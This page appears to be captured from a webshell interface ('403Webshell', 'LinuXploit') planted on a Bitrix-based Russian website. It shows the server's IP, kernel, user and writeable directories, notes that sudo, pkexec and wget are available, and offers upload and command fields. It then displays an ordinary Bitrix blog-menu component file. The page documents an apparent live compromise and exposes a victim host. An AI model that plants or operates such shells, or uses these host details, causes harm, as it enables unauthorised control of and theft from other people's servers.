403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/socialnetwork.blog.menu/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/socialnetwork.blog.menu/component.php
<?
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

/** @var CBitrixComponent $this */
/** @var array $arParams */
/** @var array $arResult */
/** @var string $componentPath */
/** @var string $componentName */
/** @var string $componentTemplate */
/** @global CDatabase $DB */
/** @global CUser $USER */
/** @global CMain $APPLICATION */
/** @global CCacheManager $CACHE_MANAGER */

use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;

if (!Loader::includeModule("blog"))
{
	ShowError(Loc::getMessage("BLOG_MODULE_NOT_INSTALL"));
	return;
}
if (!Loader::includeModule("socialnetwork"))
{
	ShowError(Loc::getMessage("SONET_MODULE_NOT_INSTALL"));
	return;
}

$arParams["BLOG_VAR"] = $arParams["BLOG_VAR"] ?? '';
$arParams["PAGE_VAR"] = $arParams["PAGE_VAR"] ?? '';
$arParams["USER_VAR"] = $arParams["USER_VAR"] ?? '';
$arParams["POST_VAR"] = $arParams["POST_VAR"] ?? '';

if($arParams["BLOG_VAR"] == '')
{
	$arParams["BLOG_VAR"] = "blog";
}
if($arParams["PAGE_VAR"] == '')
{
	$arParams["PAGE_VAR"] = "page";
}
if($arParams["POST_VAR"] == '')
{
	$arParams["POST_VAR"] = "id";
}
if($arParams["USER_VAR"] == '')
{
	$arParams["USER_VAR"] = "id";
}

$arParams["PATH_TO_DRAFT"] = trim($arParams["PATH_TO_DRAFT"]);
if($arParams["PATH_TO_DRAFT"] == '')
{
	$arParams["PATH_TO_DRAFT"] = htmlspecialcharsbx($APPLICATION->GetCurPage()."?".$arParams["PAGE_VAR"]."=draft&".$arParams["BLOG_VAR"]."=#blog#");
}

$arParams["PATH_TO_POST_EDIT"] = trim($arParams["PATH_TO_POST_EDIT"]);
if($arParams["PATH_TO_POST_EDIT"] == '')
{
	$arParams["PATH_TO_POST_EDIT"] = htmlspecialcharsbx($APPLICATION->GetCurPage()."?".$arParams["PAGE_VAR"]."=post_edit&".$arParams["BLOG_VAR"]."=#blog#&".$arParams["POST_VAR"]."=#post_id#");
}

$arParams["PATH_TO_MODERATION"] = trim($arParams["PATH_TO_MODERATION"]);
if($arParams["PATH_TO_MODERATION"] == '')
{
	$arParams["PATH_TO_MODERATION"] = htmlspecialcharsbx($APPLICATION->GetCurPage()."?".$arParams["PAGE_VAR"]."=moderation&".$arParams["BLOG_VAR"]."=#blog#");
}

$arParams["PATH_TO_TAGS"] = trim($arParams["PATH_TO_TAGS"] ?? '');
if($arParams["PATH_TO_TAGS"] == '')
{
	$arParams["PATH_TO_TAGS"] = htmlspecialcharsbx($APPLICATION->GetCurPage()."?".$arParams["PAGE_VAR"]."=tags&".$arParams["BLOG_VAR"]."=#blog#");
}

$arParams["USER_ID"] = (int)$arParams["USER_ID"];
$userId = (int)$USER->GetID();
$arParams["SOCNET_GROUP_ID"] = (int) ($arParams["SOCNET_GROUP_ID"] ?? 0);

$groupMode = ($arParams["SOCNET_GROUP_ID"] > 0);

if(!is_array($arParams["GROUP_ID"]))
{
	$arParams["GROUP_ID"] = [ $arParams["GROUP_ID"] ];
}
$arParams["GROUP_ID"] = array_filter($arParams["GROUP_ID"], function($v) { return $v > 0; });

$currentUserIsAdmin = CSocNetUser::IsCurrentUserModuleAdmin();
$arResult["PostPerm"] = BLOG_PERMS_DENY;

if (($arParams["SET_TITLE"] ?? '') !== "N")
{
	$APPLICATION->SetTitle(Loc::getMessage("BM_BLOG_POST_MSGVER_1"));
}

if ($arParams["USER_ID"] > 0)
{
	$res = CUser::GetByID($arParams["USER_ID"]);
	$userFields = $res->Fetch();
	if (
		!empty($userFields)
		&& ($arParams["SET_TITLE"] ?? null) !== "N"
		&& CSocNetFeatures::IsActiveFeature(SONET_ENTITY_USER, $arParams["USER_ID"], "blog")
	)
	{
		if ($arParams["NAME_TEMPLATE"] == '')
		{
			$arParams["NAME_TEMPLATE"] = CSite::GetNameFormat();
		}

		$arParams["TITLE_NAME_TEMPLATE"] = str_replace(
			[ "#NOBR#", "#/NOBR#" ],
			"",
			$arParams["NAME_TEMPLATE"]
		);

		$strTitleFormatted = CUser::FormatName($arParams['TITLE_NAME_TEMPLATE'], $userFields, ($arParams['SHOW_LOGIN'] !== "N"));

		if($arParams["USER_ID"] === $userId)
		{
			$APPLICATION->SetTitle(Loc::getMessage("BM_BLOG_POST_MSGVER_1"));
		}
		else
		{
			if ($arParams["HIDE_OWNER_IN_TITLE"] === "Y")
			{
				$APPLICATION->SetPageProperty("title", $strTitleFormatted.": ".Loc::getMessage("BM_BLOG_POST_MSGVER_1"));
				$APPLICATION->SetTitle(Loc::getMessage("BM_BLOG_POST_MSGVER_1"));
			}
			else
			{
				$APPLICATION->SetTitle($strTitleFormatted.": ".Loc::getMessage("BM_BLOG_POST_MSGVER_1"));
			}
		}
	}
}

if(!(
	$groupMode
	|| (
		$userId > 0
		&& (
			$arParams["USER_ID"] === $userId
			|| $currentUserIsAdmin
			|| CMain::getGroupRight("blog") >= "W"
		)
	)
))
{
	return;
}

if($groupMode)
{
	$arGroup = CSocNetGroup::GetByID($arParams["SOCNET_GROUP_ID"]);
	if(
		!empty($arGroup)
		&& $groupMode
		&& CSocNetFeatures::IsActiveFeature(SONET_ENTITY_GROUP, $arParams["SOCNET_GROUP_ID"], "blog")
	)
	{
		if (CSocNetFeaturesPerms::CanPerformOperation($userId, SONET_ENTITY_GROUP, $arParams["SOCNET_GROUP_ID"], "blog", "full_post", $currentUserIsAdmin) || CMain::GetGroupRight("blog") >= "W")
		{
			$arResult["PostPerm"] = BLOG_PERMS_FULL;
		}
		elseif (CSocNetFeaturesPerms::CanPerformOperation($userId, SONET_ENTITY_GROUP, $arParams["SOCNET_GROUP_ID"], "blog", "moderate_post", $currentUserIsAdmin))
		{
			$arResult["PostPerm"] = BLOG_PERMS_MODERATE;
		}

		if (($arParams["SET_TITLE"] ?? '') !== "N")
		{
			$APPLICATION->SetTitle(Loc::getMessage("BM_BLOG_POST_MSGVER_1"));
		}

		$arResult["PATH_TO_4ME_ALL"] = CComponentEngine::MakePathFromTemplate($arParams["PATH_TO_BLOG"], [
			"user_id" => $arParams["USER_ID"],
			"group_id" => $arParams["SOCNET_GROUP_ID"]
		]);
	}
}
elseif(
	$arParams["USER_ID"] > 0
	&& !empty($userFields)
	&& CSocNetFeatures::IsActiveFeature(SONET_ENTITY_USER, $arParams["USER_ID"], "blog")
)
{
	$arResult["showAll"] = "Y";
	$arResult["PostPerm"] = BLOG_PERMS_FULL;
	$arResult["PATH_TO_4ME_ALL"] = CComponentEngine::MakePathFromTemplate($arParams["PATH_TO_BLOG"], [
		"user_id" => $arParams["USER_ID"]
	]);

	if ($arParams["USER_ID"] === $userId)
	{
		$arResult["PATH_TO_4ME"] = $arResult["PATH_TO_MINE"] = $arResult["PATH_TO_4ME_ALL"];
		$arResult["PATH_TO_4ME"] .= (mb_strpos($arResult["PATH_TO_4ME"], "?") === false ? "?" : "&");

		$arResult["PATH_TO_MINE"] = $arResult["PATH_TO_4ME"]."mine=Y";
		$arResult["PATH_TO_4ME"] .= "forme=Y";
	}

	$arResult["forme"] = $_REQUEST["forme"] ?? null;

	if (($_REQUEST["forme"] ?? null) == '')
	{
		$arResult["forme"] = "ALL";
	}

	if (($_REQUEST["mine"] ?? null) === "Y")
	{
		$arResult["forme"] = "";
	}


	$arResult["show4MeAll"] = ($arParams["USER_ID"] === $userId ? "Y" : "N");
	$arResult["show4Me"] = ($arParams["USER_ID"] === $userId ? "Y" : "N");
}

if($arResult["PostPerm"] >= BLOG_PERMS_WRITE)
{
	if(!$groupMode)
	{
		if ($arParams["USER_ID"] === $userId)
		{
			$arResult["urlToDraft"] = CComponentEngine::MakePathFromTemplate($arParams["PATH_TO_DRAFT"], [
				"user_id" => $arParams["USER_ID"]
			]);
			$res = CBlogPost::GetList(
				[],
				[
					"AUTHOR_ID" => $userId,
					"PUBLISH_STATUS" => BLOG_PUBLISH_STATUS_DRAFT,
					"BLOG_USE_SOCNET" => "Y",
					"GROUP_ID" => $arParams["GROUP_ID"],
					"GROUP_SITE_ID" => SITE_ID,
				],
				[ "COUNT" => "ID" ],
				false,
				[ "ID" ]
			);
			if($posts = $res->Fetch())
			{
				$arResult["CntToDraft"] = $posts["ID"];
			}
		}

		$arResult["urlToModeration"] = CComponentEngine::MakePathFromTemplate($arParams["PATH_TO_MODERATION"], [
			"user_id" => $arParams["USER_ID"]
		]);
		$res = CBlogPost::GetList(
			[],
			[
				"AUTHOR_ID" => $arParams["USER_ID"],
				"PUBLISH_STATUS" => BLOG_PUBLISH_STATUS_READY,
				"BLOG_USE_SOCNET" => "Y",
				"GROUP_ID" => $arParams["GROUP_ID"],
				"GROUP_SITE_ID" => SITE_ID,
			],
			[ "COUNT" => "ID" ],
			false,
			[ "ID" ]
		);
		if($posts = $res->Fetch())
		{
			$arResult["CntToModerate"] = $posts["ID"];
		}

		$arResult["urlToTags"] = CComponentEngine::MakePathFromTemplate($arParams["PATH_TO_TAGS"], [
			"user_id" => $arParams["USER_ID"]
		]);

		$arBlog = \Bitrix\Blog\Item\Blog::getByUser([
			"GROUP_ID" => $arParams["GROUP_ID"],
			"SITE_ID" => SITE_ID,
			"USER_ID" => $arParams["USER_ID"],
			"USE_SOCNET" => "Y"
		]);

		if ($arBlog)
		{
			$res = CBlogCategory::getList(
				[],
				[
					"BLOG_ID" => $arBlog["ID"]
				],
				[ "COUNT" => "ID" ],
				false,
				[ "ID" ]
			);
			if ($tags = $res->Fetch())
			{
				$arResult["CntTags"] = $tags["ID"];
			}
		}
	}
	else
	{
		if($arResult["PostPerm"] >= BLOG_PERMS_MODERATE)
		{
			$arResult["urlToModeration"] = CComponentEngine::MakePathFromTemplate($arParams["PATH_TO_MODERATION"], [
				"group_id" => $arParams["SOCNET_GROUP_ID"]
			]);
			$res = CBlogPost::GetList(
				[],
				[
					"SOCNET_GROUP_ID" => $arParams["SOCNET_GROUP_ID"],
					"PUBLISH_STATUS" => BLOG_PUBLISH_STATUS_READY,
					"BLOG_USE_SOCNET" => "Y",
					"GROUP_ID" => $arParams["GROUP_ID"],
					"GROUP_SITE_ID" => SITE_ID,
				],
				[ "COUNT" => "ID", "SOCNET_GROUP_ID" ],
				false,
				[ "ID", "SOCNET_GROUP_ID" ]
			);
			if($posts = $res->Fetch())
			{
				$arResult["CntToModerate"] = $posts["CNT"];
				$arResult["showAll"] = "Y";
			}
		}
	}
}

$arResult["page"] = "all";
if (($arParams["CURRENT_PAGE"] ?? null) === "moderation")
{
	$arResult["page"] = "moderation";
}
elseif(($arParams["CURRENT_PAGE"] ?? null) === "draft")
{
	$arResult["page"] = "draft";
}
elseif(($arParams["CURRENT_PAGE"] ?? null) === "tags")
{
	$arResult["page"] = "tags";
}
elseif(($_REQUEST["mine"] ?? null) === "Y")
{
	$arResult["page"] = "mine";
}
elseif(($arResult["forme"] ?? null) === "Y")
{
	$arResult["page"] = "forme";
}

$this->IncludeComponentTemplate();

Youez - 2016 - github.com/yon3zu
LinuXploit